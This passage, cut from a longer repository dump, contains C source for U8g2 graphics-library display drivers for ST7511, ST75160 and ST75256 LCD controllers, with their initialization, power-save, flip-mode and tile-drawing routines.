*/ /* tile_width = */ 40, /* width of 17*8=136 pixel */ /* tile_height = */ 30, /* default_x_offset = */ 160, /* flipmode_x_offset = */ 0, /* pixel_width = */ 320, /* pixel_height = */ 240 }; static const uint8_t u8x8_d_st7511_320x240_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0xae, 0xa5), /* SW Reset */ U8X8_CAAAA(0x61, 0x0f, 0x04, 0x02, 0xa5), /* all power on */ U8X8_CAAAA(0x62, 0x0a, 0x06, 0x0f, 0xa5), /* electronic volumne set 1 */ U8X8_CAAAA(0x63, 0x0f, 0x0f, 0xa5, 0xa5), /* electronic volumne set 2 */ U8X8_CAAAA(0x66, 0x00, 0xa5, 0xa5, 0xa5), /* electronic volumne set 2 */ U8X8_CA(0x12, 0xa5), /* SLeeP OUT */ U8X8_DLY(50), // skiping display on here, deviation from https://github.com/olikraus/u8g2/issues/876 // will be called later in u8x8_d_st7511_320x240_powersave0_seq U8X8_CAAAA(0x22, 0x00, 0xa5, 0xa5, 0xa5), /* monochrome display */ U8X8_CAAAA(0x24, 0x01, 0xa5, 0xa5, 0xa5), /* memory control directions */ U8X8_DLY(50), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7511_avd_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint16_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7511_320x240_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: // not sure how to implement this.... // u8x8_cad_StartTransfer(u8x8); // u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); // set page u8x8_cad_SendCmd(u8x8, 0x025); u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x09f); // end page u8x8_cad_SendArg(u8x8, 0x000); // frame 0 u8x8_cad_SendArg(u8x8, 0x0a5); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; // set column u8x8_cad_SendCmd(u8x8, 0x026); u8x8_cad_SendArg(u8x8, (x>>8) ); u8x8_cad_SendArg(u8x8, (x&255) ); u8x8_cad_SendArg(u8x8, 0x002); u8x8_cad_SendArg(u8x8, 0x07f); // start data transfer u8x8_cad_SendCmd(u8x8, 0x02c); u8x8_cad_SendArg(u8x8, 0x0a5 ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; while ( c > 128 ) { u8x8_cad_SendData(u8x8, 128, ptr); /* note: SendData can not handle more than 255 bytes */ c -= 128; ptr += 128; } u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st75160.c ================================================ /* u8x8_d_st75160.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. REQUESTED IN https://github.com/olikraus/u8g2/issues/1642 STATUS 13 Aug 2022: NOT TESTED, MAY NOT WORK.. 0x030 ext 00 0x031 ext 01 0x038 ext 10 0x039 ext 11 cad 011 code examples: http://www.it610.com/article/2601023.htm normal mode: 0x00c bit format U8X8_CA( 0xbc, 0x00 ), data scan dir U8X8_A( 0xa6 ), y: 0 offset flip mode: 0x008 bit format U8X8_CA( 0xbc, 0x03 ), data scan dir U8X8_A( 0xa6 ), y: 5 offset */ #include "u8x8.h" /* not a real power down for the st75256... just a display off */ static const uint8_t u8x8_d_st75256_256x128_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x94 ), /* sleep out */ U8X8_DLY(10), U8X8_C( 0xaf ), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_256x128_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xae ), /* display off */ U8X8_C( 0x95 ), /* sleep in */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* marked as unused to avoid compiler warning, issue 1802 */ #ifdef NOT_USED static const uint8_t u8x8_d_st75256_jlx256128_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx256128_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x03 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format MSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; #endif static const uint8_t u8x8_d_st75256_jlx172104_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx172104_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x01 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format MSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* marked as unused to avoid compiler warning, issue 1802 */ #ifdef NOT_USED static const uint8_t u8x8_d_st75256_jlx256160_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx256160_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x03 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format MSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; #endif /*=============================================*/ /* JM16096 https://github.com/olikraus/u8g2/issues/1642 */ static const u8x8_display_info_t u8x8_st75160_jm16096_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 20, /* tile_height = */ 12, /* default_x_offset = */ 0, /* x offset in flipmode 0 */ /* flipmode_x_offset = */ 0, /* */ /* pixel_width = */ 160, /* pixel_height = */ 96 }; static const uint8_t u8x8_d_st75160_jm16096_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x004 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 239), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 95 ), /* 1/96 duty */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x18, 0x04 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75160_jm16096(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ if ( u8x8->x_offset == 0 ) /* 0 means flip mode 1 */ u8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos)); else u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x+u8x8->x_offset); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; c *= 8; if ( c + x > 160u ) { c = 160u; c -= x; } u8x8_cad_SendData(u8x8, c, ptr); x += c; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); return 1; case U8X8_MSG_DISPLAY_SETUP_MEMORY: //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75160_jm16096_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75160_jm16096_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); return 1; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); return 1; #endif } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st75256.c ================================================ /* u8x8_d_st75256.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 0x030 ext 00 0x031 ext 01 0x038 ext 10 0x039 ext 11 cad 011 code examples: http://www.it610.com/article/2601023.htm normal mode: 0x00c bit format U8X8_CA( 0xbc, 0x00 ), data scan dir U8X8_A( 0xa6 ), y: 0 offset flip mode: 0x008 bit format U8X8_CA( 0xbc, 0x03 ), data scan dir U8X8_A( 0xa6 ), y: 5 offset */ #include "u8x8.h" /* not a real power down for the st75256... just a display off */ static const uint8_t u8x8_d_st75256_256x128_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x94 ), /* sleep out */ U8X8_DLY(10), U8X8_C( 0xaf ), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_256x128_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xae ), /* display off */ U8X8_C( 0x95 ), /* sleep in */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx256128_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx256128_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x03 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format MSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx172104_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x02 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx172104_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x01 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format MSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx256160_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st75256_jlx256160_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x03 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x008 ), /* data format MSB top */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_st75256_256x128_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x128_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x030 ); u8x8_cad_SendCmd(u8x8, 0x081 ); /* there are 9 bit for the volume control */ u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 ); /* lower 6 bit */ u8x8_cad_SendArg(u8x8, (arg_int>>5)); /* upper 3 bit */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0x030 ); /* select command set */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* row */ u8x8_cad_SendArg(u8x8, u8x8->x_offset + (((u8x8_tile_t *)arg_ptr)->y_pos)); /* x offset is used as y offset */ u8x8_cad_SendArg(u8x8, 0x04f); //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x015 ); /* col */ u8x8_cad_SendArg(u8x8, x); u8x8_cad_SendArg(u8x8, 255); u8x8_cad_SendCmd(u8x8, 0x05c ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes, treat c > 31 correctly */ if ( c > 31 ) { u8x8_cad_SendData(u8x8, 248, ptr); /* 31*8=248 */ ptr+=248; c -= 31; } u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=============================================*/ /* JLX256128 */ static const u8x8_display_info_t u8x8_st75256_256x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 32, /* tile_height = */ 16, /* default_x_offset = */ 0, /* must be 0, because this is checked also for normal mode */ /* flipmode_x_offset = */ 5, /* used as y offset */ /* pixel_width = */ 256, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_st75256_256x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* display off */ U8X8_C( 0x031 ), /* select 01 commands */ U8X8_CA( 0x0d7, 0x09f ), /* disable auto read */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x032 ), /* analog circuit set */ U8X8_A( 0x000 ), /* code example: OSC Frequency adjustment */ U8X8_A( 0x001 ), /* Frequency on booster capacitors 1 = 6KHz? */ U8X8_A( 0x000 ), /* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */ //U8X8_C( 0x031 ), /* select 01 commands */ U8X8_C( 0x020 ), /* gray levels */ U8X8_A( 0x01 ), U8X8_A( 0x03 ), U8X8_A( 0x05 ), U8X8_A( 0x07 ), U8X8_A( 0x09), U8X8_A( 0x0b ), U8X8_A( 0x0d ), U8X8_A( 0x10 ), U8X8_A( 0x11 ), U8X8_A( 0x13 ), U8X8_A( 0x15 ), U8X8_A( 0x17 ), U8X8_A( 0x19 ), U8X8_A( 0x1b ), U8X8_A( 0x1d ), U8X8_A( 0x1f ), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA(0x75, 0, 0x4f), /* row range */ U8X8_CAA(0x15, 0, 255), /* col range */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0xbc, 0x00 ), /* data scan dir */ U8X8_A( 0xa6 ), /* ??? */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x00c ), /* data format LSB top */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0xca ), /* display control, 3 args follow */ U8X8_A( 0x00 ), /* 0x00: no clock division, 0x04: devide clock */ U8X8_A( 0x7f ), /* 1/160 duty value from the DS example code */ U8X8_A( 0x20 ), /* nline off */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x0f0, 0x010 ), /* monochrome mode = 0x010*/ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CAA( 0x81, 0x36, 0x05 ), /* Volume control */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_CA( 0x020, 0x00b ), /* Power control: Regulator, follower & booster on */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st75256_jlx256128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st75256_256x128_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { //u8x8_SetI2CAddress(u8x8, 0x078); /* lowest I2C adr of the ST75256 */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x128_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* WO256X128, https://github.com/olikraus/u8g2/issues/891 */ static const u8x8_display_info_t u8x8_st75256_wo256x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 32, /* tile_height = */ 16, /* default_x_offset = */ 5, /* must be 0, because this is checked also for normal mode */ /* flipmode_x_offset = */ 0, /* used as y offset */ /* pixel_width = */ 256, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_st75256_wo256x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(20), U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x094 ), /* sleep out */ //U8X8_C( 0x030 ), /* select 00 commands */ U8X8_C( 0x0ae ), /* 